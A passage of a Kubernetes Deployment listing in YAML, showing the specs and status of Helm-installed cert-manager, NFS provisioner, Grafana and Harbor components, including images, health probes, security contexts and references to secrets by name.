    - lastTransitionTime: "2025-11-29T13:23:58Z"
      lastUpdateTime: "2025-11-29T13:23:58Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:24Z"
    generation: 1
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager
    namespace: cert-manager
    resourceVersion: "18046326"
    uid: c1ce6ee4-6b40-42a4-9158-7d5416d2fb0d
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/component: controller
        app.kubernetes.io/instance: cert-manager
        app.kubernetes.io/name: cert-manager
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        annotations:
          prometheus.io/path: /metrics
          prometheus.io/port: "9402"
          prometheus.io/scrape: "true"
        creationTimestamp: null
        labels:
          app: cert-manager
          app.kubernetes.io/component: controller
          app.kubernetes.io/instance: cert-manager
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: cert-manager
          app.kubernetes.io/version: v1.18.2
          helm.sh/chart: cert-manager-v1.18.2
      spec:
        containers:
        - args:
          - --v=2
          - --cluster-resource-namespace=$(POD_NAMESPACE)
          - --leader-election-namespace=kube-system
          - --acme-http01-solver-image=quay.io/jetstack/cert-manager-acmesolver:v1.18.2
          - --max-concurrent-challenges=60
          env:
          - name: POD_NAMESPACE
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
          image: quay.io/jetstack/cert-manager-controller:v1.18.2
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 8
            httpGet:
              path: /livez
              port: http-healthz
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 15
          name: cert-manager-controller
          ports:
          - containerPort: 9402
            name: http-metrics
            protocol: TCP
          - containerPort: 9403
            name: http-healthz
            protocol: TCP
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        enableServiceLinks: false
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          runAsNonRoot: true
          seccompProfile:
            type: RuntimeDefault
        serviceAccount: cert-manager
        serviceAccountName: cert-manager
        terminationGracePeriodSeconds: 30
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-22T13:18:25Z"
      lastUpdateTime: "2025-09-22T13:18:34Z"
      message: ReplicaSet "cert-manager-58dd99f969" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T14:25:20Z"
      lastUpdateTime: "2025-11-29T14:25:20Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:24Z"
    generation: 1
    labels:
      app: cainjector
      app.kubernetes.io/component: cainjector
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cainjector
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-cainjector
    namespace: cert-manager
    resourceVersion: "18046351"
    uid: babee60f-0d86-4ecb-92ee-2688de6bbbba
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/component: cainjector
        app.kubernetes.io/instance: cert-manager
        app.kubernetes.io/name: cainjector
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        annotations:
          prometheus.io/path: /metrics
          prometheus.io/port: "9402"
          prometheus.io/scrape: "true"
        creationTimestamp: null
        labels:
          app: cainjector
          app.kubernetes.io/component: cainjector
          app.kubernetes.io/instance: cert-manager
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: cainjector
          app.kubernetes.io/version: v1.18.2
          helm.sh/chart: cert-manager-v1.18.2
      spec:
        containers:
        - args:
          - --v=2
          - --leader-election-namespace=kube-system
          env:
          - name: POD_NAMESPACE
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
          image: quay.io/jetstack/cert-manager-cainjector:v1.18.2
          imagePullPolicy: IfNotPresent
          name: cert-manager-cainjector
          ports:
          - containerPort: 9402
            name: http-metrics
            protocol: TCP
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        enableServiceLinks: false
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          runAsNonRoot: true
          seccompProfile:
            type: RuntimeDefault
        serviceAccount: cert-manager-cainjector
        serviceAccountName: cert-manager-cainjector
        terminationGracePeriodSeconds: 30
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-22T13:18:25Z"
      lastUpdateTime: "2025-09-22T13:18:36Z"
      message: ReplicaSet "cert-manager-cainjector-55cd9f77b5" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T14:25:21Z"
      lastUpdateTime: "2025-11-29T14:25:21Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:24Z"
    generation: 1
    labels:
      app: webhook
      app.kubernetes.io/component: webhook
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: webhook
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-webhook
    namespace: cert-manager
    resourceVersion: "18008219"
    uid: 7ed30729-3d50-4c41-8bcd-7a40f873dc4d
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/component: webhook
        app.kubernetes.io/instance: cert-manager
        app.kubernetes.io/name: webhook
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        annotations:
          prometheus.io/path: /metrics
          prometheus.io/port: "9402"
          prometheus.io/scrape: "true"
        creationTimestamp: null
        labels:
          app: webhook
          app.kubernetes.io/component: webhook
          app.kubernetes.io/instance: cert-manager
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: webhook
          app.kubernetes.io/version: v1.18.2
          helm.sh/chart: cert-manager-v1.18.2
      spec:
        containers:
        - args:
          - --v=2
          - --secure-port=10250
          - --dynamic-serving-ca-secret-namespace=$(POD_NAMESPACE)
          - --dynamic-serving-ca-secret-name=cert-manager-webhook-ca
          - --dynamic-serving-dns-names=cert-manager-webhook
          - --dynamic-serving-dns-names=cert-manager-webhook.$(POD_NAMESPACE)
          - --dynamic-serving-dns-names=cert-manager-webhook.$(POD_NAMESPACE).svc
          env:
          - name: POD_NAMESPACE
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
          image: quay.io/jetstack/cert-manager-webhook:v1.18.2
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /livez
              port: healthcheck
              scheme: HTTP
            initialDelaySeconds: 60
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: cert-manager-webhook
          ports:
          - containerPort: 10250
            name: https
            protocol: TCP
          - containerPort: 6080
            name: healthcheck
            protocol: TCP
          - containerPort: 9402
            name: http-metrics
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /healthz
              port: healthcheck
              scheme: HTTP
            initialDelaySeconds: 5
            periodSeconds: 5
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            readOnlyRootFilesystem: true
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
        dnsPolicy: ClusterFirst
        enableServiceLinks: false
        nodeSelector:
          kubernetes.io/os: linux
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          runAsNonRoot: true
          seccompProfile:
            type: RuntimeDefault
        serviceAccount: cert-manager-webhook
        serviceAccountName: cert-manager-webhook
        terminationGracePeriodSeconds: 30
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-22T13:18:25Z"
      lastUpdateTime: "2025-09-22T13:18:42Z"
      message: ReplicaSet "cert-manager-webhook-7987476d56" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T11:14:17Z"
      lastUpdateTime: "2025-11-29T11:14:17Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: nfs-subdir-external-provisioner
      meta.helm.sh/release-namespace: default
    creationTimestamp: "2025-09-26T00:42:52Z"
    generation: 1
    labels:
      app: nfs-subdir-external-provisioner
      app.kubernetes.io/managed-by: Helm
      chart: nfs-subdir-external-provisioner-4.0.18
      heritage: Helm
      release: nfs-subdir-external-provisioner
    name: nfs-subdir-external-provisioner
    namespace: default
    resourceVersion: "18032475"
    uid: e34c653f-924a-4e8b-9357-62d895981122
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app: nfs-subdir-external-provisioner
        release: nfs-subdir-external-provisioner
    strategy:
      type: Recreate
    template:
      metadata:
        creationTimestamp: null
        labels:
          app: nfs-subdir-external-provisioner
          release: nfs-subdir-external-provisioner
      spec:
        containers:
        - env:
          - name: PROVISIONER_NAME
            value: cluster.local/nfs-subdir-external-provisioner
          - name: NFS_SERVER
            value: 172.16.30.245
          - name: NFS_PATH
            value: /srv/nfs
          image: registry.k8s.io/sig-storage/nfs-subdir-external-provisioner:v4.0.2
          imagePullPolicy: IfNotPresent
          name: nfs-subdir-external-provisioner
          resources: {}
          securityContext: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /persistentvolumes
            name: nfs-subdir-external-provisioner-root
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext: {}
        serviceAccount: nfs-subdir-external-provisioner
        serviceAccountName: nfs-subdir-external-provisioner
        terminationGracePeriodSeconds: 30
        volumes:
        - name: nfs-subdir-external-provisioner-root
          nfs:
            path: /srv/nfs
            server: 172.16.30.245
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-26T00:42:52Z"
      lastUpdateTime: "2025-09-26T00:43:00Z"
      message: ReplicaSet "nfs-subdir-external-provisioner-5545d686cd" has successfully
        progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T13:21:27Z"
      lastUpdateTime: "2025-11-29T13:21:27Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: grafana
      meta.helm.sh/release-namespace: grafana
    creationTimestamp: "2025-09-21T20:37:13Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: grafana
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: grafana
      app.kubernetes.io/version: 12.1.1
      helm.sh/chart: grafana-10.0.0
    name: grafana
    namespace: grafana
    resourceVersion: "18046406"
    uid: b3a11c2b-69be-42cc-81f8-bcb3f3d38564
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app.kubernetes.io/instance: grafana
        app.kubernetes.io/name: grafana
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        annotations:
          checksum/config: 0e9cbd0ea8e24e32f7dfca5bab17a2ba05652642f0a09a4882833ae88e4cc4a3
          checksum/sc-dashboard-provider-config: e70bf6a851099d385178a76de9757bb0bef8299da6d8443602590e44f05fdf24
          checksum/secret: 46588b98701319774707b0dba6c2f0a941e26d9c257177c38a891975b071a12e
          kubectl.kubernetes.io/default-container: grafana
        creationTimestamp: null
        labels:
          app.kubernetes.io/instance: grafana
          app.kubernetes.io/name: grafana
          app.kubernetes.io/version: 12.1.1
          helm.sh/chart: grafana-10.0.0
      spec:
        automountServiceAccountToken: true
        containers:
        - env:
          - name: POD_IP
            valueFrom:
              fieldRef:
                apiVersion: v1
                fieldPath: status.podIP
          - name: GF_SECURITY_ADMIN_USER
            valueFrom:
              secretKeyRef:
                key: admin-user
                name: grafana
          - name: GF_SECURITY_ADMIN_PASSWORD
            valueFrom:
              secretKeyRef:
                key: admin-password
                name: grafana
          - name: GF_PATHS_DATA
            value: /var/lib/grafana/
          - name: GF_PATHS_LOGS
            value: /var/log/grafana
          - name: GF_PATHS_PLUGINS
            value: /var/lib/grafana/plugins
          - name: GF_PATHS_PROVISIONING
            value: /etc/grafana/provisioning
          image: docker.io/grafana/grafana:12.1.1
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 10
            httpGet:
              path: /api/health
              port: 3000
              scheme: HTTP
            initialDelaySeconds: 60
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 30
          name: grafana
          ports:
          - containerPort: 3000
            name: grafana
            protocol: TCP
          - containerPort: 9094
            name: gossip-tcp
            protocol: TCP
          - containerPort: 9094
            name: gossip-udp
            protocol: UDP
          - containerPort: 6060
            name: profiling
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /api/health
              port: 3000
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/grafana/grafana.ini
            name: config
            subPath: grafana.ini
          - mountPath: /var/lib/grafana
            name: storage
        dnsPolicy: ClusterFirst
        enableServiceLinks: true
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 472
          runAsGroup: 472
          runAsNonRoot: true
          runAsUser: 472
        serviceAccount: grafana
        serviceAccountName: grafana
        shareProcessNamespace: false
        terminationGracePeriodSeconds: 30
        volumes:
        - configMap:
            defaultMode: 420
            name: grafana
          name: config
        - emptyDir: {}
          name: storage
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-09-21T20:37:13Z"
      lastUpdateTime: "2025-09-21T20:38:02Z"
      message: ReplicaSet "grafana-65fc6dbcff" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T14:25:32Z"
      lastUpdateTime: "2025-11-29T14:25:32Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:58:00Z"
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/component: core
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: core
      heritage: Helm
      release: harbor
    name: harbor-core
    namespace: harbor
    resourceVersion: "18046570"
    uid: b34246ee-9811-418e-90e7-05de6204e174
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app: harbor
        component: core
        release: harbor
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        annotations:
          checksum/configmap: bb23f480170198be0acb51930ce019245662ef382b8606908d33590f0490f1d0
          checksum/secret: 0c963f83668fe10a38ea69177a441350598e6efcc1466a97826b23cc7c5bbf93
          checksum/secret-jobservice: 53951fc63f7698cafab0520b4f3cea1f1f6a131fe8daf84cb6656f94ccf0fe82
        creationTimestamp: null
        labels:
          app: harbor
          app.kubernetes.io/component: core
          app.kubernetes.io/instance: harbor
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: harbor
          app.kubernetes.io/part-of: harbor
          app.kubernetes.io/version: 2.14.0
          chart: harbor
          component: core
          heritage: Helm
          release: harbor
      spec:
        automountServiceAccountToken: false
        containers:
        - env:
          - name: CORE_SECRET
            valueFrom:
              secretKeyRef:
                key: secret
                name: harbor-core
          - name: JOBSERVICE_SECRET
            valueFrom:
              secretKeyRef:
                key: JOBSERVICE_SECRET
                name: harbor-jobservice
          envFrom:
          - configMapRef:
              name: harbor-core
          - secretRef:
              name: harbor-core
          image: goharbor/harbor-core:v2.14.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 2
            httpGet:
              path: /api/v2.0/ping
              port: 8080
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: core
          ports:
          - containerPort: 8080
            protocol: TCP
          readinessProbe:
            failureThreshold: 2
            httpGet:
              path: /api/v2.0/ping
              port: 8080
              scheme: HTTP
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          startupProbe:
            failureThreshold: 360
            httpGet:
              path: /api/v2.0/ping
              port: 8080
              scheme: HTTP
            initialDelaySeconds: 10
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/core/app.conf
            name: config
            subPath: app.conf
          - mountPath: /etc/core/key
            name: secret-key
            subPath: key
          - mountPath: /etc/core/private_key.pem
            name: token-service-private-key
            subPath: tls.key
          - mountPath: /etc/core/ca
            name: ca-download
          - mountPath: /etc/core/token
            name: psc
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 10000
          runAsUser: 10000
        terminationGracePeriodSeconds: 120
        volumes:
        - configMap:
            defaultMode: 420
            items:
            - key: app.conf
              path: app.conf
            name: harbor-core
          name: config
        - name: secret-key
          secret:
            defaultMode: 420
            items:
            - key: secretKey
              path: key
            secretName: harbor-core
        - name: token-service-private-key
          secret:
            defaultMode: 420
            secretName: harbor-core
        - name: ca-download
          secret:
            defaultMode: 420
            secretName: harbor-ingress
        - emptyDir: {}
          name: psc
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-10-19T11:58:00Z"
      lastUpdateTime: "2025-10-19T12:00:21Z"
      message: ReplicaSet "harbor-core-84f58f6d9d" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T14:26:04Z"
      lastUpdateTime: "2025-11-29T14:26:04Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:58:00Z"
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/component: jobservice
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: jobservice
      heritage: Helm
      release: harbor
    name: harbor-jobservice
    namespace: harbor
    resourceVersion: "18046948"
    uid: ffe488c0-748d-40d5-a651-9870372d36a8
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app: harbor
        component: jobservice
        release: harbor
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        annotations:
          checksum/configmap: c885bae46a4d1be465933d8c2db43c049e107bcebf3317968f1f024b44c8d94c
          checksum/configmap-env: 4e6757f431dc6489d6f2ced7d9742bc9e992e6c77541ca632f177418f680609c
          checksum/secret: 4d811a0e5a19e9feb89769205df38266094ddfd39e8cb863b4fc4eba1053c0de
          checksum/secret-core: ebd507b7c081c3357177749e94a8202c85c95f4968ebdafbf690bf2ab6009950
        creationTimestamp: null
        labels:
          app: harbor
          app.kubernetes.io/component: jobservice
          app.kubernetes.io/instance: harbor
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: harbor
          app.kubernetes.io/part-of: harbor
          app.kubernetes.io/version: 2.14.0
          chart: harbor
          component: jobservice
          heritage: Helm
          release: harbor
      spec:
        automountServiceAccountToken: false
        containers:
        - env:
          - name: CORE_SECRET
            valueFrom:
              secretKeyRef:
                key: secret
                name: harbor-core
          envFrom:
          - configMapRef:
              name: harbor-jobservice-env
          - secretRef:
              name: harbor-jobservice
          image: goharbor/harbor-jobservice:v2.14.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /api/v1/stats
              port: 8080
              scheme: HTTP
            initialDelaySeconds: 300
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: jobservice
          ports:
          - containerPort: 8080
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /api/v1/stats
              port: 8080
              scheme: HTTP
            initialDelaySeconds: 20
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/jobservice/config.yml
            name: jobservice-config
            subPath: config.yml
          - mountPath: /var/log/jobs
            name: job-logs
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 10000
          runAsUser: 10000
        terminationGracePeriodSeconds: 120
        volumes:
        - configMap:
            defaultMode: 420
            name: harbor-jobservice
          name: jobservice-config
        - name: job-logs
          persistentVolumeClaim:
            claimName: harbor-jobservice
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-10-19T11:58:00Z"
      lastUpdateTime: "2025-10-19T12:02:11Z"
      message: ReplicaSet "harbor-jobservice-7d76588fb9" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T14:27:58Z"
      lastUpdateTime: "2025-11-29T14:27:58Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:58:00Z"
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/component: portal
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: portal
      heritage: Helm
      release: harbor
    name: harbor-portal
    namespace: harbor
    resourceVersion: "18034022"
    uid: 9972f56b-81bb-47a5-b806-57fc9e1e361c
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app: harbor
        component: portal
        release: harbor
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        annotations:
          checksum/configmap: 587f1b484c07807cc9dd237230d25e1c167d2002a5fdbcd500a34b00bbfe4b3c
        creationTimestamp: null
        labels:
          app: harbor
          app.kubernetes.io/component: portal
          app.kubernetes.io/instance: harbor
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: harbor
          app.kubernetes.io/part-of: harbor
          app.kubernetes.io/version: 2.14.0
          chart: harbor
          component: portal
          heritage: Helm
          release: harbor
      spec:
        automountServiceAccountToken: false
        containers:
        - image: goharbor/harbor-portal:v2.14.0
          imagePullPolicy: IfNotPresent
          livenessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: 8080
              scheme: HTTP
            initialDelaySeconds: 300
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          name: portal
          ports:
          - containerPort: 8080
            protocol: TCP
          readinessProbe:
            failureThreshold: 3
            httpGet:
              path: /
              port: 8080
              scheme: HTTP
            initialDelaySeconds: 1
            periodSeconds: 10
            successThreshold: 1
            timeoutSeconds: 1
          resources: {}
          securityContext:
            allowPrivilegeEscalation: false
            capabilities:
              drop:
              - ALL
            privileged: false
            runAsNonRoot: true
            seccompProfile:
              type: RuntimeDefault
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
          volumeMounts:
          - mountPath: /etc/nginx/nginx.conf
            name: portal-config
            subPath: nginx.conf
        dnsPolicy: ClusterFirst
        restartPolicy: Always
        schedulerName: default-scheduler
        securityContext:
          fsGroup: 10000
          runAsUser: 10000
        terminationGracePeriodSeconds: 30
        volumes:
        - configMap:
            defaultMode: 420
            name: harbor-portal
          name: portal-config
  status:
    availableReplicas: 1
    conditions:
    - lastTransitionTime: "2025-10-19T11:58:00Z"
      lastUpdateTime: "2025-10-19T11:58:44Z"
      message: ReplicaSet "harbor-portal-864c6cd7" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: "True"
      type: Progressing
    - lastTransitionTime: "2025-11-29T13:24:49Z"
      lastUpdateTime: "2025-11-29T13:24:49Z"
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: "True"
      type: Available
    observedGeneration: 1
    readyReplicas: 1
    replicas: 1
    updatedReplicas: 1
- apiVersion: apps/v1
  kind: Deployment
  metadata:
    annotations:
      deployment.kubernetes.io/revision: "1"
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:58:00Z"
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/component: registry
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: registry
      heritage: Helm
      release: harbor
    name: harbor-registry
    namespace: harbor
    resourceVersion: "18033735"
    uid: e26a9cee-d503-40ae-994f-735b9ac16707
  spec:
    progressDeadlineSeconds: 600
    replicas: 1
    revisionHistoryLimit: 10
    selector:
      matchLabels:
        app: harbor
        component: registry
        release: harbor
    strategy:
      rollingUpdate:
        maxSurge: 25%
        maxUnavailable: 25%
      type: RollingUpdate
    template:
      metadata:
        annotations:
          checksum/configmap: d65e7080663682fbceda81a5a2c0b2e79e15426dcf2f0463d1747404c45f346d
          checksum/secret: 2982fb18b6fb33f7927efd20a0c72b70b59610b864c9af5946373bfbc98e4c5b
          checksum/secret-core: 5aa825c524e2f085ae08ccef05703612b17847d134c9d07b224d2b917ff73eac
          checksum/secret-jobservice: 0aa7f26404eeb8ac85c67e563873e89b550a6ddd79a7cd5c69db0d0546ec1aa1
        creationTimestamp: null
        labels:
          app: harbor
          app.kubernetes.io/component: registry
          app.kubernetes.io/instance: harbor
          app.kubernetes.io/managed-by: Helm
          app.kubernetes.io/name: harbor
          app.kubernetes.io/part-of: harbor
          app.kubernetes.io/version: 2.14.0
          chart: harbor
          component: registry
          heritage: Helm
          release: harbor
      spec:
        automountServiceAccountToken: false
        containers:
        - envFrom:
          - secretRef:
              name: harbor-registry
